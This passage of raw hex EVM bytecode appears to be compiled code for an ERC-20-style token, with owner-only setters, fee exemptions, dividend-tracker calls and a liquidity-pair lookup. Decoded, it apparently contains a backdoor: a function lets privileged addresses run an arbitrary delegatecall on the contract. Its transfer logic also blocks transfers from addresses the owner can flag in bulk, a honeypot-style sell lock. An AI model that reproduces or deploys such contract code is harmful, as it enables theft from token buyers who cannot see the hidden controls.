fffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000631919062000d3e565b60405180910390a35050505062000d5b565b600082825260208201905092915050565b7f6d696e0000000000000000000000000000000000000000000000000000000000600082015250565b60006200068c60038362000643565b9150620006998262000654565b602082019050919050565b60006020820190508181036000830152620006bf816200067d565b9050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006f882620006cb565b9050919050565b6200070a81620006eb565b81146200071657600080fd5b50565b6000815190506200072a81620006ff565b92915050565b600060208284031215620007495762000748620006c6565b5b6000620007598482850162000719565b91505092915050565b6200076d81620006eb565b82525050565b60006040820190506200078a600083018562000762565b62000799602083018462000762565b9392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200082257607f821691505b602082108103620008385762000837620007da565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008a27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000863565b620008ae868362000863565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008fb620008f5620008ef84620008c6565b620008d0565b620008c6565b9050919050565b6000819050919050565b6200091783620008da565b6200092f620009268262000902565b84845462000870565b825550505050565b600090565b6200094662000937565b620009538184846200090c565b505050565b5b818110156200097b576200096f6000826200093c565b60018101905062000959565b5050565b601f821115620009ca5762000994816200083e565b6200099f8462000853565b81016020851015620009af578190505b620009c7620009be8562000853565b83018262000958565b50505b505050565b600082821c905092915050565b6000620009ef60001984600802620009cf565b1980831691505092915050565b600062000a0a8383620009dc565b9150826002028217905092915050565b62000a2582620007a0565b67ffffffffffffffff81111562000a415762000a40620007ab565b5b62000a4d825462000809565b62000a5a8282856200097f565b600060209050601f83116001811462000a92576000841562000a7d578287015190505b62000a898582620009fc565b86555062000af9565b601f19841662000aa2866200083e565b60005b8281101562000acc5784890151825560018201915060208501945060208101905062000aa5565b8683101562000aec578489015162000ae8601f891682620009dc565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b8f5780860481111562000b675762000b6662000b01565b5b600185161562000b775780820291505b808102905062000b878562000b30565b945062000b47565b94509492505050565b60008262000baa576001905062000c7d565b8162000bba576000905062000c7d565b816001811462000bd3576002811462000bde5762000c14565b600191505062000c7d565b60ff84111562000bf35762000bf262000b01565b5b8360020a91508482111562000c0d5762000c0c62000b01565b5b5062000c7d565b5060208310610133831016604e8410600b841016171562000c4e5782820a90508381111562000c485762000c4762000b01565b5b62000c7d565b62000c5d848484600162000b3d565b9250905081840481111562000c775762000c7662000b01565b5b81810290505b9392505050565b600060ff82169050919050565b600062000c9e82620008c6565b915062000cab8362000c84565b925062000cda7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b98565b905092915050565b600062000cef82620008c6565b915062000cfc83620008c6565b925082820262000d0c81620008c6565b9150828204841483151762000d265762000d2562000b01565b5b5092915050565b62000d3881620008c6565b82525050565b600060208201905062000d55600083018462000d2d565b92915050565b608051614f9b62000d7e600039600081816116ef0152611cc40152614f9b6000f3fe6080604052600436106102345760003560e01c80638b0cb94f1161012e578063a9059cbb116100ab578063d83d41431161006f578063d83d41431461082a578063dd62ed3e14610853578063e84fb12d14610890578063f2fde38b146108bb578063f63431bd146108e45761023b565b8063a9059cbb14610741578063c492f0461461077e578063ce4d9f15146107a7578063cf62e9ca146107d4578063d2c01fc4146107ff5761023b565b806395d89b41116100f257806395d89b411461066e5780639a55fff0146106995780639bb85344146106c25780639bcda849146106ed578063a8abb184146107185761023b565b80638b0cb94f1461059b5780638d653275146105c65780638d72647e146105ef5780638da5cb5b1461061a578063917ceeb5146106455761023b565b806347823ed0116101bc5780636c580801116101805780636c580801146104dc57806370a08231146104f3578063715018a61461053057806385141a77146105475780638907f21a146105725761023b565b806347823ed0146103f7578063553193ca14610420578063595dec3c1461044b57806368092bd9146104885780636ac3a7a4146104b15761023b565b80631f107a45116102035780631f107a4514610310578063206c17bb1461033957806323b872dd14610364578063313ce567146103a15780634188bf5a146103cc5761023b565b806301986fad1461024057806306fdde031461027d578063095ea7b3146102a857806318160ddd146102e55761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613e45565b61090f565b6040516102749190613e8d565b60405180910390f35b34801561028957600080fd5b5061029261092f565b60405161029f9190613f38565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613f90565b6109c1565b6040516102dc9190613e8d565b60405180910390f35b3480156102f157600080fd5b506102fa6109d8565b6040516103079190613fdf565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190613ffa565b6109e2565b005b34801561034557600080fd5b5061034e610a81565b60405161035b9190614086565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906140a1565b610aa7565b6040516103989190613e8d565b60405180910390f35b3480156103ad57600080fd5b506103b6610c4d565b6040516103c39190614110565b60405180910390f35b3480156103d857600080fd5b506103e1610c64565b6040516103ee919061413a565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190614181565b610c8a565b005b34801561042c57600080fd5b50610435610d77565b6040516104429190613fdf565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190613e45565b610d7d565b60405161047f9190613e8d565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614181565b610d9d565b005b3480156104bd57600080fd5b506104c6610e8d565b6040516104d39190613fdf565b60405180910390f35b3480156104e857600080fd5b506104f1610e93565b005b3480156104ff57600080fd5b5061051a60048036038101906105159190613e45565b610f76565b6040516105279190613fdf565b60405180910390f35b34801561053c57600080fd5b50610545610fbf565b005b34801561055357600080fd5b5061055c611112565b604051610569919061413a565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906142f6565b611138565b005b3480156105a757600080fd5b506105b0611236565b6040516105bd9190613fdf565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190614352565b61123c565b005b3480156105fb57600080fd5b506106046116ed565b604051610611919061413a565b60405180910390f35b34801561062657600080fd5b5061062f611711565b60405161063c919061413a565b60405180910390f35b34801561065157600080fd5b5061066c60048036038101906106679190613ffa565b61173a565b005b34801561067a57600080fd5b5061068361182e565b6040516106909190613f38565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb919061445a565b6118c0565b005b3480156106ce57600080fd5b506106d76119ea565b6040516106e49190613fdf565b60405180910390f35b3480156106f957600080fd5b506107026119f0565b60405161070f91906144d7565b60405180910390f35b34801561072457600080fd5b5061073f600480360381019061073a91906144f2565b611a16565b005b34801561074d57600080fd5b5061076860048036038101906107639190613f90565b611abd565b6040516107759190613e8d565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a0919061445a565b611ad4565b005b3480156107b357600080fd5b506107bc611bfe565b6040516107cb93929190614532565b60405180910390f35b3480156107e057600080fd5b506107e9611dd2565b6040516107f691906144d7565b60405180910390f35b34801561080b57600080fd5b50610814611df8565b6040516108219190613fdf565b60405180910390f35b34801561083657600080fd5b50610851600480360381019061084c9190614181565b611dfe565b005b34801561085f57600080fd5b5061087a60048036038101906108759190614352565b611eee565b6040516108879190613fdf565b60405180910390f35b34801561089c57600080fd5b506108a5611f75565b6040516108b29190613fdf565b60405180910390f35b3480156108c757600080fd5b506108e260048036038101906108dd9190613e45565b611f7b565b005b3480156108f057600080fd5b506108f961213c565b6040516109069190613fdf565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60606004805461093e90614598565b80601f016020809104026020016040519081016040528092919081815260200182805461096a90614598565b80156109b75780601f1061098c576101008083540402835291602001916109b7565b820191906000526020600020905b81548152906001019060200180831161099a57829003601f168201915b5050505050905090565b60006109ce338484612142565b6001905092915050565b6000600754905090565b6109ea61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90614615565b60405180910390fd5b8060158190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ab4848484612235565b600019600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c425781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc19190614664565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000339050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d12906146e4565b60405180910390fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60135481565b60116020528060005260406000206000915054906101000a900460ff1681565b610da561222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990614615565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b610e9b61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90614615565b60405180910390fd5b601354600014610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490614750565b60405180910390fd5b43601381905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fc761222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90614615565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000339050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c0906146e4565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16826040516111ee91906147b7565b600060405180830381855af49150503d8060008114611229576040519150601f19603f3d011682016040523d82523d6000602084013e61122e565b606091505b505050505050565b600e5481565b61124461222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c890614615565b60405180910390fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0306040518263ffffffff1660e01b815260040161136d919061413a565b600060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161141c919061413a565b600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db0836040518263ffffffff1660e01b81526004016114a9919061413a565b600060405180830381600087803b1580156114c357600080fd5b505af11580156114d7573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db061dead6040518263ffffffff1660e01b8152600401611538919061413a565b600060405180830381600087803b15801561155257600080fd5b505af1158015611566573d6000803e3d6000fd5b50505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331e79db060006040518263ffffffff1660e01b81526004016115c6919061413a565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b5050505080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61174261222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c690614615565b60405180910390fd5b62030d4081101580156117e55750621e84808111155b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061481a565b60405180910390fd5b8060168190555050565b60606005805461183d90614598565b80601f016020809104026020016040519081016040528092919081815260200182805461186990614598565b80156118b65780601f1061188b576101008083540402835291602001916118b6565b820191906000526020600020905b81548152906001019060200180831161189957829003601f168201915b5050505050905090565b6118c861222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c90614615565b60405180910390fd5b60005b82518110156119e55781601160008584815181106119795761197861483a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119dd90614869565b915050611958565b505050565b60125481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a1e61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290614615565b60405180910390fd5b81600c8190555080600e819055505050565b6000611aca338484612235565b6001905092915050565b611adc61222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6090614615565b60405180910390fd5b60005b8251811015611bf9578160106000858481518110611b8d57611b8c61483a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bf190614869565b915050611b6c565b505050565b600080600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9b9190614933565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f000000000000000000000000000000000000000000000000000000000000000090503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161015611d2457829650819550611d2b565b8196508295505b8073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611d86919061413a565b602060405180830381865afa158015611da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc7919061499b565b945050505050909192565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b611e0661222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90614615565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b611f8361222d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200790614615565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361207f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207690614a3a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60145481565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122209190613fdf565b60405180910390a3505050565b600033905090565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615806122d75750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230d90614aa6565b60405180910390fd5b600061232184610f76565b905081811015612366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235d90614b12565b60405180910390fd5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561240a5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561243c57600061271061270f836124229190614b32565b61242c9190614ba3565b90508083111561243a578092505b505b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156124eb5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561250a576124f985612fd2565b9050600081111561250957600192505b5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161480156125b75750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156125cc576125c586613043565b905061262e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff160361262d5761262a86613142565b90505b5b600081111561263c57600192505b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614806126e75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16145b156128f1576012546000036127aa57601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561279c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16145b156127a957436012819055505b5b601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561284e5750601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128f05760019050841561286257600090505b6013546000036128bf57601254600010801561287b5750845b6128ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b190614c20565b60405180910390fd5b6128ef565b6014546013546128cf9190614c40565b4310156128ee576128e38989896064613236565b505050505050612fcd565b5b5b5b8380156129485750601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561295257600190505b61295f8989898488613314565b600060155490506000811180156129c45750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b8015612a1a5750601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a6b57612a2889610f76565b811015612a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6190614cc0565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb6890d98b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318e6040518263ffffffff1660e01b8152600401612b05919061413a565b602060405180830381865afa158015612b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b46919061499b565b6040518363ffffffff1660e01b8152600401612b63929190614d01565b600060405180830381600087803b158015612b7d57600080fd5b505af1925050508015612b8e575060015b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb6890d98a600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082318d6040518263ffffffff1660e01b8152600401612c29919061413a565b602060405180830381865afa158015612c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c6a919061499b565b6040518363ffffffff1660e01b8152600401612c87929190614d01565b600060405180830381600087803b158015612ca157600080fd5b505af1925050508015612cb2575060015b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb6890d98b612cfb8d610f76565b6040518363ffffffff1660e01b8152600401612d18929190614d01565b600060405180830381600087803b158015612d3257600080fd5b505af1925050508015612d43575060015b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb6890d98a612d8c8c610f76565b6040518363ffffffff1660e01b8152600401612da9929190614d01565b600060405180830381600087803b158015612dc357600080fd5b505af1925050508015612dd4575060015b50601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612e795750601060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fc55760006016549050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c479600a600784612ed29190614b32565b612edc9190614ba3565b6040518263ffffffff1660e01b8152600401612ef89190613fdf565b600060405180830381600087803b158015612f1257600080fd5b505af1925050508015612f23575060015b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c479600a600384612f719190614b32565b612f7b9190614ba3565b6040518263ffffffff1660e01b8152600401612f979190613fdf565b600060405180830381600087803b158015612fb157600080fd5b505af1925050508015612fc2575060015b50505b505050505050505b505050565b600080600080612fe0611bfe565b92509250925060008084118015612ff75750600083115b15613016578284876130099190614b32565b6130139190614ba3565b90505b80846130229190614c40565b821061303a57613034828786866134ac565b50809550505b50505050919050565b6000806000613050611bfe565b925050915081811161313b5783613088600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f76565b6130929190614664565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613123919061499b565b8561312e9190614b32565b6131389190614ba3565b92505b5050919050565b600080600061314f611bfe565b925050915081811161322f57613186600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f76565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156131f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613217919061499b565b856132229190614b32565b61322c9190614ba3565b92505b5050919050565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132819190614664565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000606482846132d49190614b32565b6132de9190614ba3565b905060008111156132f7576132f68561dead8361384c565b5b61330d858583866133089190614664565b61384c565b5050505050565b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461335f9190614664565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821561348e5760008261346357600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16031561346257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361346157600190505b5b5b80801561347d5750600f60009054906101000a900460ff16155b1561348c5761348b85613944565b5b505b6134a48686838761349f9190614664565b61384c565b505050505050565b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561351e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613542919061499b565b90506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135d79190614d3f565b73ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b8152600401602060405180830381865afa158015613621573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136459190614d3f565b905060008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141590506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637464fc3d6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156136ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061370e919061499b565b905081156137bb57600081146137ba576000613734888a61372f9190614b32565b613ada565b9050600061374183613ada565b9050808211156137b75760006003828461375b9190614664565b886137669190614b32565b6137709190614b32565b90506000826005856137829190614b32565b61378c9190614c40565b9050808261379a9190614ba3565b985060008911156137b45788886137b19190614c40565b97505b50505b50505b5b6000888b6137c99190614664565b905060008503613805576000811115613800576103e86137f38b836137ee9190614b32565b613ada565b6137fd9190614664565b96505b61383e565b61383b8986836138159190614